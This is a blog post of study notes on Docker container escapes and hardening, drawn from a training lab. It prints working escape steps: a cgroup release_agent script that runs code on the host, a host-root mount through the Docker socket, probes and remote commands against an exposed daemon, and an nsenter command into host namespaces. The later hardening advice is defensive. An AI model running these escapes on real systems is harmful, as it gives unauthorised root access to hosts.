pine.space
← Back to blog

2024-08-15

Container security: escapes and hardening

These notes cover common container misconfigurations that can expose the host, along with ways to reduce the risk. They are based on the Container Security module on TryHackMe.

Container vulnerabilities

Privileged containers

Docker containers are unprivileged by default and keep only a restricted set of Linux capabilities. --privileged grants all capabilities, exposes host devices, and relaxes AppArmor or SELinux restrictions. It gives the container nearly the same host access as a process running outside a container, but it is not a separate host-OS mode. View a container's capabilities with capsh --print.

This older escape works only under specific conditions. The host must still use a writable cgroup v1 hierarchy, and the container needs broad privileges on a rootful Docker daemon. The named controller must exist, and the payload must be stored at a path the host can execute. Patched kernels also require the CAP_SYS_ADMIN capability in the host's main user namespace, so rootless containers cannot use this route. The exploit works as follows:

  1. Create a cgroup to work with and mount it to /tmp/cgrp in the container.
  2. Tell the kernel to run code on release. Writing 1 to /tmp/cgrp/x/notify_on_release enables the release notification.
  3. Find where the container's files live on the host and store that as a variable.
  4. Write the location of the exploit on the host into release_agent, so the exploit runs when the cgroup is released.
  5. Create a shell script that will run on the host.
  6. Run a command, cat /home/user1/flag.txt > $host_path/flag.txt, to pull the host file back into the container.
  7. Make the exploit executable.
  8. Add a short-lived process to the cgroup. When that process exits and the cgroup becomes empty, the kernel runs the configured release agent.
bash
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/exploit" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /exploit
echo "cat /home/user1/flag.txt > $host_path/flag.txt" >> /exploit
chmod a+x /exploit
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

The full explanation of why this works is in Trail of Bits' container escape post.

Escaping via an exposed Docker daemon

Docker commands normally reach the daemon through a Unix socket. Access depends on the socket's actual filesystem permissions or ACLs. A rootful installation commonly uses /var/run/docker.sock, owned by root and accessible to the docker group. That group grants root-level control of the daemon. The socket appears inside a container only if someone explicitly mounts it. Rootless Docker instead runs the daemon as a non-root user and commonly uses /run/user/<uid>/docker.sock.

If you can control a conventional rootful daemon, you can ask it to mount the host's root filesystem into a new container and modify host files. The command below opens a shell rooted at that mounted filesystem; it does not by itself join every host namespace. A rootless daemon is limited by the permissions of the user running it.

bash
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

That command mounts the host filesystem to /mnt in a new container, runs it interactively with -it, changes the root to /mnt, and starts sh.

Remote code execution via an exposed daemon

Docker listens on a local Unix socket by default. An administrator can explicitly expose the API over TCP. The conventional ports are 2375 without TLS and 2376 with TLS. An unauthenticated rootful daemon reachable over the network can give a remote user root-level control of the host. Current Docker versions restrict insecure TCP setups, but older or deliberately weakened installations may still expose them.

bash
nmap -sV -p 2375 <ip_address>

Check the endpoint with curl:

bash
curl http://<ip_address>:2375/version

Use the Docker CLI's -H flag to target the remote host. Commands such as ps, images, network, exec, and run then use that daemon:

bash
docker -H tcp://<ip_address>:2375 ps

Abusing namespaces

If a container shares the host PID namespace, can access the host PID 1 namespace files, and has the required capabilities, nsenter can start a process in selected host namespaces. Host PID visibility may require a setting such as --pid=host.

bash
nsenter --target 1 --mount --uts --ipc --net /bin/bash

Each flag matters:

  1. --target 1 selects PID 1 as the namespace source; it does not grant root.
  2. --mount enters the target's mount namespace, or filesystem view.
  3. --uts enters the target's hostname and domain-name namespace.
  4. --ipc enters the target's IPC namespace.
  5. --net enters the target's network namespace.

The command does not enter PID 1's PID or user namespace, and the new shell keeps the caller's credentials. The caller also needs access to the relevant /proc/1/ns/* files and the capabilities required by setns. Joining the mount namespace needs CAP_SYS_ADMIN and CAP_SYS_CHROOT; joining the UTS, IPC, or network namespace needs CAP_SYS_ADMIN in the relevant owning user namespace.

Container hardening

--privileged grants broad host access. Avoid it when a narrower capability or device permission is enough.

Protecting the Docker daemon

Use secure communication and authentication to keep the daemon out of reach.

SSH. Docker contexts save connection settings for different hosts. You still need SSH access to the remote host and an account that can run Docker.

bash
docker context create \
  --docker host=ssh://<username>@<remotehost> \
  --description="Development Environment" \
  development-environment-host

docker context use development-environment-host

TLS. The daemon can also be driven over HTTPS. In TLS mode it only accepts commands from devices whose certificates are signed against it. On the server:

bash
dockerd --tlsverify --tlscacert=myca.pem --tlscert=myserver-cert.pem --tlskey=myserver-key.pem -H=0.0.0.0:2376

On the client:

bash
docker --tlsverify --tlscacert=myca.pem --tlscert=client-cert.pem --tlskey=client-key.pem -H=<SERVER_IP>:2376 info

Implementing control groups

Control groups (cgroups) are a kernel feature that restricts and prioritizes how many system resources a process can use. They help with stability and usage tracking. Docker does not set CPU or memory limits by default, so set them when starting a container:

bash
docker run -it --cpus="1" mycontainer
docker run -it --memory="20m" mycontainer

Update a running container, and inspect it:

bash
docker update --memory="40m" mycontainer
docker inspect mycontainer

By default, no CPU or memory limit is set. Do not treat 0 as a universal value: its meaning depends on the Docker option.

For more detail, see Docker's cgroup metrics documentation.

Preventing over-privileged containers

Capabilities are a Linux feature that controls what a process can do at a granular level, so you can fine-tune privileges instead of handing over root. For example:

  • CAP_NET_BIND_SERVICE — bind to ports below 1024, which normally needs root.
  • CAP_SYS_ADMIN — a grab-bag of admin rights: mounting filesystems, changing network settings, rebooting.
  • CAP_SYS_RESOURCE — modify resource limits.

Rather than --privileged, drop every capability and add back only what the container needs. This example adds only the ability to bind low ports:

bash
docker run -it --rm --cap-drop=ALL --cap-add=NET_BIND_SERVICE webserver

Check what a process holds with capsh --print. See Docker's Linux kernel capabilities documentation.

Seccomp and AppArmor

Seccomp and AppArmor are kernel-enforced controls. Seccomp limits system calls, while AppArmor is a Mandatory Access Control system that limits actions such as file, capability, and network access.

Seccomp restricts the system calls an application can make. You write a list of rules, such as allowing readand denying execve, to shrink what an attacker can do while keeping the app working. A profile for a web server that can read and write files but not execute anything:

json
{
  "defaultAction": "SCMP_ACT_ALLOW",
  "architectures": [
    "SCMP_ARCH_X86_64",
    "SCMP_ARCH_X86",
    "SCMP_ARCH_X32"
  ],
  "syscalls": [
    { "names": [ "read", "write", "exit", "exit_group", "open", "close", "stat", "fstat", "lstat", "poll", "getdents", "munmap", "mprotect", "brk", "arch_prctl", "set_tid_address", "set_robust_list" ], "action": "SCMP_ACT_ALLOW" },
    { "names": [ "execve", "execveat" ], "action": "SCMP_ACT_ERRNO" }
  ]
}

Apply it at runtime:

bash
docker run --rm -it --security-opt seccomp=/path/to/profile.json mycontainer

Read more in the seccomp(2) manual and Docker's Seccomp documentation.

Reviewing Docker images

Analyze a Dockerfile before you trust it. Dive reverse-engineers an image by inspecting what's executed and changed at each build layer, so you can see what actually goes in.

Compliance and benchmarking

  • CIS Docker Benchmark — assesses compliance against the CIS Docker benchmark.
  • OpenSCAP — assesses against multiple frameworks, including CIS and NIST SP 800-190.
  • Docker Scout — Docker's own cloud service; lists image vulnerabilities and how to fix them.
  • Grype — a fast vulnerability scanner for images and filesystems.
bash
docker scout cves local://nginx:latest
grype imagename --scope all-layers
grype /path/to/image.tar   # a filesystem exported with `docker image save`